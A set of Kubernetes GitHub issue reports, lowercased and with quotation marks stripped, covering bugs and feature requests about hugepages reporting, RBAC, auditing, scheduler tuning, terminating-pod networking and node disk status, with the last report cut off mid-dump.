 \r   what happened  :\r node information does not mirror current status of hugepages.\r \r for example my node02 has:\r    \r  root@node02 ~   cat /proc/meminfo\r ...\r hugepages_total:     512\r hugepages_free:      481\r ...\r    \r but node describe shows\r    \r   kubectl describe node node02\r ...\r capacity:\r  cpu:                2\r  ephemeral-storage:  39269648ki\r  hugepages-1gi:      0\r  hugepages-2mi:      1gi\r  memory:             2937344ki\r  pods:               110\r allocatable:\r  cpu:                2\r  ephemeral-storage:  36190907537\r  hugepages-1gi:      0\r  hugepages-2mi:      1gi\r  memory:             1786368ki\r  pods:               110\r ...\r    \r \r   what you expected to happen  :\r i expect that node describe will show me that i have only 481mi of hugepages allocatable\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a pod with hugepages\r - allocate this hugepages under the pod\r - verify that node describe does not reduce allocatable hugepages resources\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:05:37z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release \r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r - kernel  e.g.  uname -a  :\r    \r   uname -a\r linux node02 3.10.0-862.2.3.el7.x86_64  1 smp wed may 9 18:05:47 utc 2018 x86_64 x86_64 \r x86_64 gnu/linux\r    \r - install tools:\r    kubeadm   \r - others:\r

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r    soak-gci-gce-1.13  https://k8s-testgrid.appspot.com/sig-release-1.13-all soak-gci-gce-1.13 \r \r   which test s  are failing  :\r  sig-storage  in-tree volumes  driver: hostpath   testpattern: inline-volume  default fs   volumeio should write files of various sizes, verify size, validate content  slow \r \r   since when has it been failing  :\r 11/13\r \r   testgrid link  :\r https://k8s-testgrid.appspot.com/sig-release-1.13-all soak-gci-gce-1.13\r \r   reason for failure  :\r https://gubernator.k8s.io/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gci-gce-beta/484\r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/volume_io.go:152\r expected error:\r     < errors.errorstring | 0xc000ac6330>: {\r         s: \ size of file /opt/volume/e2e-tests-volumes-jzwmx/hostpath_io_test_e2e-tests-volumes-jzwmx-1048576 is 2097152, expected 1048576\ ,\r     }\r     size of file /opt/volume/e2e-tests-volumes-jzwmx/hostpath_io_test_e2e-tests-volumes-jzwmx-1048576 is 2097152, expected 1048576\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/storage/testsuites/volume_io.go:157\r    \r \r   anything else we need to know  :\r this is consistently failing in 1.13 branch and is release blocking.\r \r <!-- do not edit below this line -->\r   / /milestone v1.13\r /assign @msau42 \r \r /cc @saad-ali @jberkus @mariantalla @mortent \r \r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r if  subjects.namespace == ${all-namesapces symbol}  , this subject can match all namespace serviceaccount;\r \r https://github.com/kubernetes/kubernetes/blob/9f85c5c4b56940f88cb854615efad4e9f0c66f20/pkg/registry/rbac/validation/rule.go l290\r \r https://github.com/kubernetes/apiserver/blob/268a6b65e7a9f82fdeb36723d74a53d5f3c5042a/pkg/authentication/serviceaccount/util.go l41\r \r   why is this needed  :\r we need add some role to all namespace serviceaccount, but i don't want to add all serviceaccount, i just want to add that role to some name serviceaccount; so i think need a all-namesapces symbol add to  subjects.namespace .

i deployed a cluster with  kube_gce_instance_prefix=one-dot-one .  later, i come back and want to run tests against that cluster.  i use  kubectl config use-context ihm-k8s_one-dot-one  to switch my context to that cluster, but i get  x509  errors, unless i go back and set  kube_gce_instance_prefix=one-dot-one .  i don't know why this is, or if perhaps it's expected behavior, but it seems very wrong to me.  full transcript below.  cc @kubernetes/goog-testing @kubernetes/sig-testing       bash $ k config use-context ihm-k8s_one-dot-one                                                                                                                                                                                                                                                                                            switched to context \ ihm-k8s_one-dot-one\ . $ go run ./hack/e2e.go -v --test --check_version_skew=false --test_args=\ -ginkgo.focus=asdf\  2016/02/19 16:14:23 e2e.go:301: running: get status your active configuration is:  default   project: ihm-k8s zone: us-central1-b client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.7.1144+6fef6bc97778f1-dirty\ , gitcommit:\ 6fef6bc97778f1af4ffd359af6b98cbdd43cda1d\ , gittreestate:\ dirty\ } server version: version.info{major:\ 1\ , minor:\ 1+\ , gitversion:\ v1.1.8-beta.0.36+7518f0e0795fd4\ , gitcommit:\ 7518f0e0795fd40a2d0c4656676c850c186df7af\ , gittreestate:\ clean\ } 2016/02/19 16:14:24 e2e.go:303: step 'get status' finished in 850.565557ms your active configuration is:  default   project: ihm-k8s zone: us-central1-b 2016/02/19 16:14:25 e2e.go:301: running: ginkgo tests setting up for kubernetes_provider=\ gce\ . your active configuration is:  default   project: ihm-k8s zone: us-central1-b feb 19 16:14:26.609: info: fetching cloud provider for \ gce\   i0219 16:14:26.609911     997 gce.go:240  using defaulttokensource &oauth2.reusetokensource{new:  oauth2.tokenrefresher  0xc2082370e0 , mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  0xc208321920 } i0219 16:14:26.831924     997 e2e.go:286  starting e2e run \ e6edf7be-d766-11e5-8fce-64510650aa40\  on ginkgo node 1 running suite: kubernetes e2e suite =================================== random seed: 1455927266 - will randomize all specs will run 0 of 235 specs  feb 19 16:14:26.839: info: >>> testcontext.kubeconfig: /usr/local/google/home/ihmccreery/.kube/config  feb 19 16:14:26.968: info: waiting up to 10m0s for all pods  need at least 0  in namespace 'kube-system' to be running and ready feb 19 16:14:27.047: info: error getting replication controllers in namespace 'kube-system': get https://104.154.36.185/api/v1/namespaces/kube-system/replicationcontrollers: x509: certificate signed by unknown authority feb 19 16:14:29.128: info: error getting replication controllers in namespace 'kube-system': get https://104.154.36.185/api/v1/namespaces/kube-system/replicationcontrollers: x509: certificate signed by unknown authority feb 19 16:14:31.127: info: error getting replication controllers in namespace 'kube-system': get https://104.154.36.185/api/v1/namespaces/kube-system/replicationcontrollers: x509: certificate signed by unknown authority ^c $ export kube_gce_instance_prefix=one-dot-one $ k config use-context ihm-k8s_one-dot-one                                                                                                                                                                                                                                                                                            switched to context \ ihm-k8s_one-dot-one\ . $ go run ./hack/e2e.go -v --test --check_version_skew=false --test_args=\ -ginkgo.focus=asdf\                                                                                                                                                                                                                                           2016/02/19 16:18:08 e2e.go:301: running: get status your active configuration is:  default   project: ihm-k8s zone: us-central1-b client version: version.info{major:\ 1\ , minor:\ 2+\ , gitversion:\ v1.2.0-alpha.7.1144+6fef6bc97778f1-dirty\ , gitcommit:\ 6fef6bc97778f1af4ffd359af6b98cbdd43cda1d\ , gittreestate:\ dirty\ } server version: version.info{major:\ 1\ , minor:\ 1+\ , gitversion:\ v1.1.8-beta.0.36+7518f0e0795fd4\ , gitcommit:\ 7518f0e0795fd40a2d0c4656676c850c186df7af\ , gittreestate:\ clean\ } 2016/02/19 16:18:09 e2e.go:303: step 'get status' finished in 858.249334ms your active configuration is:  default   project: ihm-k8s zone: us-central1-b 2016/02/19 16:18:10 e2e.go:301: running: ginkgo tests setting up for kubernetes_provider=\ gce\ . your active configuration is:  default   project: ihm-k8s zone: us-central1-b feb 19 16:18:11.537: info: fetching cloud provider for \ gce\   i0219 16:18:11.538026    1835 gce.go:240  using defaulttokensource &oauth2.reusetokensource{new:  oauth2.tokenrefresher  0xc2081688a0 , mu:sync.mutex{state:0, sema:0x0}, t:  oauth2.token  0xc2082bdd40 } i0219 16:18:11.861002    1835 e2e.go:286  starting e2e run \ 6cff49b1-d767-11e5-ac4e-64510650aa40\  on ginkgo node 1 running suite: kubernetes e2e suite =================================== random seed: 1455927491 - will randomize all specs will run 0 of 235 specs  feb 19 16:18:11.873: info: >>> testcontext.kubeconfig: /usr/local/google/home/ihmccreery/.kube/config  feb 19 16:18:12.003: info: waiting up to 10m0s for all pods  need at least 0  in namespace 'kube-system' to be running and ready feb 19 16:18:12.330: info: 11 / 11 pods in namespace 'kube-system' are running and ready  0 seconds elapsed  feb 19 16:18:12.330: info: expected 8 pod replicas in namespace 'kube-system', 8 are running and ready. sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss ran 0 of 235 specs in 0.460 seconds success! -- 0 passed | 0 failed | 0 pending | 235 skipped pass  ginkgo ran 1 suite in 872.37643ms test suite passed 2016/02/19 16:18:12 e2e.go:303: step 'ginkgo tests' finished in 2.030780078s

put request to update a service on url: with body:  {       \ id\ : \ redis-master10012\ ,       \ uid\ : \ e1e178a9-89d4-11e4-98a5-3c970e4a436a\ ,       \ creationtimestamp\ : \ 2014-12-22t14:20:14+02:00\ ,       \ selflink\ : \ /api/v1beta1/services/redis-master10012?namespace=default\ ,       \ resourceversion\ : 8,       \ namespace\ : \ default\ ,       \ port\ : 6380,       \ protocol\ : \ tcp\ ,       \ selector\ : null,       \ containerport\ : 0,       \ portalip\ : \ 10.0.0.45\  }  fails with error 422 and this  description -the error complains about 'name' and 'spec.port': the fields presented in the error are  not the names exposed in json hence how the user is supposed to know what went wrong ?  {   \ kind\ : \ status\ ,   \ creationtimestamp\ : null,   \ apiversion\ : \ v1beta1\ ,   \ status\ : \ failure\ ,   \ message\ : \ service \\\ \\\  is invalid:  name: required value '', spec.port: invalid value '0' \ ,   \ reason\ : \ invalid\ ,   \ details\ : {     \ kind\ : \ service\ ,     \ causes\ :         {         \ reason\ : \ fieldvaluerequired\ ,         \ message\ : \ name: required value ''\ ,         \ field\ : \ name\        },       {         \ reason\ : \ fieldvalueinvalid\ ,         \ message\ : \ spec.port: invalid value '0'\ ,         \ field\ : \ spec.port\        }         },   \ code\ : 422 }

pkg/kubectl  is getting messier and messier with the number of generators being created. i'm propose creating new subpackage  generators  and split each generator into its own file.\r \r @fabianofranz @kubernetes/kubectl opinions?

what keywords did you search in kubernetes issues before filing this one?  : terminationgraceperiodseconds, termination, network.\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r   kubernetes version  : 1.6.0\r \r   environment  :\r -   cloud provider or hardware configuration  : gcp and minikube\r -   os  :  alpine linux v3.4 \r -   kernel  : linux 4.7.2\r \r \r   what happened  :\r \r pod in \ terminating\  state loses network connection two minutes after it was scheduled for termination, while still performing the work in the container. the bug prevents a pod from gracefully finishing the work.\r \r   what you expected to happen  :\r \r terminating pod should gracefully finish the work with network being available according to  terminationgraceperiodseconds .\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r run a pod that does something like:\r \r    ruby\r require 'net/http'\r loop do\r   net::http.get_response 'google.com', '/' \r   sleep 1\r end\r    \r \r for convenience i pushed the script to the docker hub   kirshatrov/sleep-with-signals:v2  .\r \r create the pod with longer terminationgraceperiodseconds policy:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: gracefully-terminating-pod\r spec:\r   containers:\r   - name: app\r     image: kirshatrov/sleep-with-signals:v2\r   terminationgraceperiodseconds: 1500\r    \r \r delete the pod   kubectl delete pod gracefully-terminating-pod   and watch the logs.\r \r after two minutes the network will go down and the app will crash with:\r \r    \r failed to open tcp connection to google.com:80  getaddrinfo: try again   socketerror \r    \r \r   anything else we need to know  :\r \r this happens both in gcp and minikube on kubernetes 1.6.0.\r the kind of work we're performing in the containers is not safely interruptible and we'd like to use longer termination timeout   terminationgraceperiodseconds   to allow the pod to finish the work before it's killed. this networking issue prevents us from relying on  terminationgraceperiodseconds .\r \r cc @ibawt @sirupsen @dwradcliffe @dturn

gubernator  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster/18 k8sio-privilegedpod-should-test-privileged-pod \r  history  https://k8s-testgrid.appspot.com/1.5-1.7-upgrade gke-cvm-1-5-gci-1-7-upgrade-cluster&include-filter-by-regex=%5eoverall%24%7c%5c%5bk8s%5c.io%5c%5d%5c%20privilegedpod%5c%20should%5c%20test%5c%20privileged%5c%20pod \r \r failed on 6-19\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/privileged.go:65\r expected error:\r     < errors.errorstring | 0xc4203a51d0>: {\r         s: \ timed out waiting for the condition\ ,\r     }\r     timed out waiting for the condition\r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:67\r    \r \r  /assign @enisoc \r \r @enisoc please reassign - not sure where to put this.\r \r

we want kubemark setups to be as similar to real clusters as possible. since we are launching kube-aggregator in real clusters, we should add a possibility  and probably also enable by default  to have kube-aggregator in front of apiserver s .\r \r @gmarek @shyamjvs @kubernetes/sig-scalability-feature-requests

as we work with the new \ advanced auditing\  api, we're noticing places where the api could be improved. i'm opening this issue to track all the changes we'd like to make to the api when it goes to beta.\r \r    api changes:\r \r -  x   audit.event.objectref.apiversion  currently holds both the the api group and version, separated by a  / . we should break these out into separate fields.\r -  x  policy should be able to specify subresources. this could either be a separate field, or allow matching of  /  delimited resources  e.g.  pods/status  for the pods resource and status subresource \r -  x    @ericchiang   it would be useful to be able to specify resource names in the policy. e.g.  ingress controller configmap  https://github.com/kubernetes/kubernetes/blob/14cd03aed64b3a442af51e5fac4ab9aafafb0e1f/cluster/gce/gci/configure-helper.sh l526 .  resources  in the   groupresources  \r  https://github.com/kubernetes/kubernetes/blob/14cd03aed64b3a442af51e5fac4ab9aafafb0e1f/staging/src/k8s.io/apiserver/pkg/apis/audit/types.go l198  struct should be changed to a struct that includes resource + resourcenames  slice  +  subresource \r -  x   audit.event.metadata.creationtimestamp  shows up as null in the json serialized events we output, which looks sloppy. we should consider cleaning this up. one possibility is to get rid of the  audit.event.timestamp  field, and use creationtimestamp.\r -  x  we want to omit the requestreceived stage in gke. the policy may be the right place to specify that.\r \r    other changes:\r \r -  x  feature gate  advancedauditing  moves to beta and defaults to enabled\r \r    postponed to post 1.8.0\r \r -     it would be nice to identify the server that sent the audit event, i.e. the aggregator vs. an end-user apiserver. implementation tbd.\r \r /cc @sttts @soltysh @ericchiang @ihmccreery \r \r feature: kubernetes/features 22

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  kind feature\r \r \r   what happened  :\r \r the same problem as issue https://github.com/kubernetes/kubernetes/issues/55284\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

i observe the following error in the logs:\r \r    \r ... request.go:152  auditing failed of request: encoding failed: policy.eviction is not suitable for converting to \ v1\ \r    \r \r any ideas where this comes from?\r \r /cc @tallclair @sttts @soltysh @caoshufeng @ericchiang

 see:  53672\r \r it should be possible to set default hugepages limit and request per namespace as it is possible for  memory  https://kubernetes.io/docs/tasks/administer-cluster/memory-default-namespace/ .

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r   what happened  :\r i create a deployment role and user for every app/service that i wish to deploy to kubernetes. this allows me to limit the scope of the credentials that i push to ci in case they become compromised and makes it harder for developers in my organisation to accidentally overwrite/delete/modify other people's deployments.\r \r as part of one of my deployments i wish to create a job that runs database migrations once the app is deployed. to do this i need to delete the previous job with the same name and re-create it. when i try to do this i get the following error: \r    \r error from server  forbidden : pods \ my-app-db-migrate-wnbbq\  is forbidden: user \ my-app-deployer\  cannot delete pods in the namespace \ default\ \r    \r in order to fix this i need to add the delete pods rule to the role for my deployment user. however, due to the fact that the pod name is randomly generated i can't specify this rule with a  resourcename , meaning  as far as i can tell  the user will have to have the permission to delete any and all pods in my namespace, which is obviously not great.\r  \r   what you expected to happen  :\r i would expect that either the delete job permission would be enough to delete its child pods or that there were some method for selecting pods with randomly generated suffixes in rbac configs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a user/role with the ability to create and delete jobs\r - create a job\r - try to delete the job without allowing the user/role to delete any pod in the namespace\r \r   anything else we need to know?  :\r i've considered the following alternatives but i hope that you will also find that they are equally suboptimal:\r \r 1. use  kubectl exec  to run the migration script in one of the newly deployed app pods. this however  as far as i can tell  requires allowing the create pods/exec permission in any pod which may be worse than just deleting them.\r \r 2. randomly generate a job name so that deletion isn't necessary. this would eventually result in a huge list of jobs and pods lying around awaiting manual deletion which would take up resources.\r \r i'm very open to any other suggestions anyone can provide! thanks for your help!\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration: aws  configured by kops \r - os  e.g. from /etc/os-release : debian gnu/linux 8  jessie \r - kernel  e.g.  uname -a  : 4.4.115-k8s\r \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r i submitted a  delete  request for a namespaced job resource to the kubernetes api. it returned a response of  \ kind\ : \ job\  \r \r   what you expected to happen  :\r i expected a  \ kind\ :\ status\   response per the  api docs for the delete resource  https://v1-8.docs.kubernetes.io/docs/api-reference/v1.8/ delete-41 \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a namespaced job.\r 2. delete the job. do not include the  orphandependents  field in the request body.\r \r   anything else we need to know?  :\r for some reason, including the  orphandependents  field of  v1deleteoptions  in the request body causes the api to return the the correct type  status . the incorrect type   job   seems to be returned otherwise.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.3\ , gitcommit:\ 2bba0127d85d5a46ab4b778548be28623b32d0b0\ , gittreestate:\ clean\ , builddate:\ 2018-05-21t09:17:39z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: aws\r - os  e.g. from /etc/os-release :  \r    \r name=\ amazon linux ami\ \r version=\ 2018.03\ \r id=\ amzn\ \r id_like=\ rhel fedora\ \r version_id=\ 2018.03\ \r pretty_name=\ amazon linux ami 2018.03\ \r ansi_color=\ 0;33\ \r cpe_name=\ cpe:/o:amazon:linux:2018.03:ga\ \r home_url=\ http://aws.amazon.com/amazon-linux-ami/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux ip-172-20-32-203 4.14.33-51.37.amzn1.x86_64  1 smp thu may 3 20:07:43 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

is this a bug report or feature request?  :\r >  \r   what happened  :\r kubernetes expects each group to be passed in a separate header with same names\r \r   what you expected to happen  :\r kubernetes should allow passing all groups  comma or something else as separator  in a single header\r \r   how to reproduce it  as minimally and precisely as possible   :\r https://stackoverflow.com/questions/50559736/nginx-as-authentication-proxy-for-kubernetes\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: \r    \r ubuntu 16.04 running on a softlayer vm\r    \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux fe-k8s-08 4.4.0-130-generic  156-ubuntu smp thu jun 14 08:53:28 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r \r i am trying to setup nginx as authentication proxy for kubernetes api. as mentioned on https://kubernetes.io/docs/reference/access-authn-authz/authentication/ authenticating-proxy page, it expects each group name to passed in a separate header with same names which imo is very difficult to achieve with a proxy like nginx which, it seems, can't handle multiple headers with same names. proposal is to allow specifying multiple groups in a single header which can be easily implemented in nginx  and probably other  proxies.\r \r more details can be found here - https://stackoverflow.com/questions/50559736/nginx-as-authentication-proxy-for-kubernetes\r \r p.s. - i would prefer not to replace nginx with something else to solve this problem unless it can't be achieved with nginx.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r kubernetes scheduler has  a config option  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/apis/config/types.go l83  that specifies what percentage of the cluster nodes should be scored in each scheduling cycle. the scheduler stops scanning more nodes once that many nodes are found feasible for running the pod under consideration.\r the default value of this config option is 50  for 50% . we should let the scheduler determine this value based on the size of the cluster when this config option is not provided.\r i'd propose this formula for finding the percentage:  50 - cluster size / 125 . this is a linear formula that gives us 50 when the cluster size is 100 nodes and 10 for a 5000 node cluster.\r the scheduler already has a lower bound of 50 nodes per scheduling cycle. as a part of this change, we should also add a 5% lower bound for the formula  if the result of the formula is below 5, we should return 5 .\r \r   why is this needed  :\r to improve scheduler performance in large clusters. \r \r <!-- do not edit below this line -->\r  

what happened  :\r i'm unable to configure the api-server through a  validatingwebhookconfiguration  to pass admission requests to my  validatingadmissionwebhook  for the  deployments/rollback  resource. \r \r i'm adding the following rule to the  validatingwebhookconfiguration \r    \r   - apigroups:\r     - extensions\r     apiversions:\r     - v1beta1\r     operations:\r     - create\r     resources:\r     - deployments/rollback\r    \r \r when performing rollbacks, i'm not seeing any calls to the admission webhook.\r \r   what you expected to happen  :\r \r to receive validation requests when performing rollbacks.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a validatingadmissionwebhook and perform a rollback request.\r \r   anything else we need to know?  :\r mentioned this on the  sig-api-machinery channel on slack, and @liggitt suggested the error was that the  createvalidation -object never is used: https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/apps/deployment/storage/storage.go l163-l183\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.12.3\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r container linux by coreos 1911.5.0  rhyolite    4.14.84-coreos   docker://18.6.1\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

the kubernetes node has run out of space, however the cluster is reporting as having available disk space. the lastheartbeattime is up to date.  for full details: https://gist.github.com/ajohnstone/00d3e9da2b4329302d8972fa7419cc9e      conditions:   type      status  lastheartbeattime           lasttransitiontime          reason              message   ----      ------  -----------------           ------------------          ------              -------  $ kubectl describe nodes  2>&1 | grep outofdisk   outofdisk     false   tue, 31 may 2016 14:28:48 +0100     sat, 28 may 2016 16:00:13 +0100     kubelethassufficientdisk    kubelet has sufficient disk space available   outofdisk     false   tue, 31 may 2016 14:28:43 +0100     mon, 30 may 2016 23:43:18 +0100     kubelethassufficientdisk    kubelet has sufficient disk space available   outofdisk     false   tue, 31 may 2016 14:28:42 +0100     mon, 16 may 2016 13:41:48 +0100     kubelethassufficientdisk    kubelet has sufficient disk space available   outofdisk     false   tue, 31 may 2016 14:28:46 +0100     sat, 07 may 2016 23:20:21 +0100     kubelethassufficientdisk    kubelet has sufficient disk space available   outofdisk     false   tue, 31 may 2016 14:28:48 +0100     mon, 30 may 2016 09:23:19 +0100     kubelethassufficientdisk    kubelet has sufficient disk space available      the nodes filesystem usage, on /mnt/ephemeral is 100%.      ip-10-115-0-117 $ df -h filesystem                           size  used avail use% mounted on /dev/xvda1                           493g  2.4g  470g   1% / udev                                  10m     0   10m   0% /dev tmpfs                                3.0g  297m  2.7g  10% /run tmpfs                                7.4g  1.5m  7.4g   1% /dev/shm tmpfs                                5.0m     0  5.0m   0% /run/lock tmpfs                                7.4g     0  7.4g   0% /sys/fs/cgroup /dev/mapper/vg--ephemeral-ephemeral   74g   70g  238m 100% /mnt/ephemeral 100% /mnt/ephemeral tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/b9288c4f-14a1-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-mibkw tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/9c843917-14a3-11e6-bf17-0a400f658983/volumes/kubernetes.io~configmap/nginx-template-volume tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/7bea4847-1f04-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-5z4dc tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/a7a0571c-1dd3-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-gyh7f tmpfs                                7.4g  4.0k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/9c843917-14a3-11e6-bf17-0a400f658983/volumes/kubernetes.io~configmap/nginx-confd-volume tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/9c843917-14a3-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-5z4dc tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/fa98a0e0-20f9-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-5z4dc tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/54b54562-2285-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-gyh7f tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/7ce74ae0-228c-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-qgr6z tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/0f181767-2357-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-qgr6z tmpfs                                7.4g   12k  7.4g   1% /mnt/ephemeral/kubernetes/kubelet/pods/6785523b-23e5-11e6-bf17-0a400f658983/volumes/kubernetes.io~secret/default-token-8dysa raw      the api data.      kubectl get nodes ip-10-115-0-117.eu-west-1.compute.internal -o json |  jq 'del .status.images '  {   \ kind\ : \ node\ ,   \ apiversion\ : \ v1\ ,   \ metadata\ : {     \ name\ : \ ip-10-115-0-117.eu-west-1.compute.internal\ ,     \ selflink\ : \ /api/v1/nodes/ip-10-115-0-117.eu-west-1.compute.internal\ ,     \ uid\ : \ e31b5033-14a1-11e6-bf17-0a400f658983\ ,     \ resourceversion\ : \ 1258293\ ,     \ creationtimestamp\ : \ 2016-05-07t22:20:21z\ ,     \ labels\ : {       \ beta.kubernetes.io/instance-type\ : \ m3.xlarge\ ,       \ failure-domain.beta.kubernetes.io/region\ : \ eu-west-1\ ,       \ failure-domain.beta.kubernetes.io/zone\ : \ eu-west-1c\ ,       \ kubernetes.io/hostname\ : \ ip-10-115-0-117.eu-west-1.compute.internal\      }   },   \ spec\ : {     \ podcidr\ : \ 100.66.2.0/24\ ,     \ externalid\ : \ i-1b922897\ ,     \ providerid\ : \ aws:///eu-west-1c/i-1b922897\    },   \ status\ : {     \ capacity\ : {       \ cpu\ : \ 4\ ,       \ memory\ : \ 15434188ki\ ,       \ pods\ : \ 110\      },     \ allocatable\ : {       \ cpu\ : \ 4\ ,       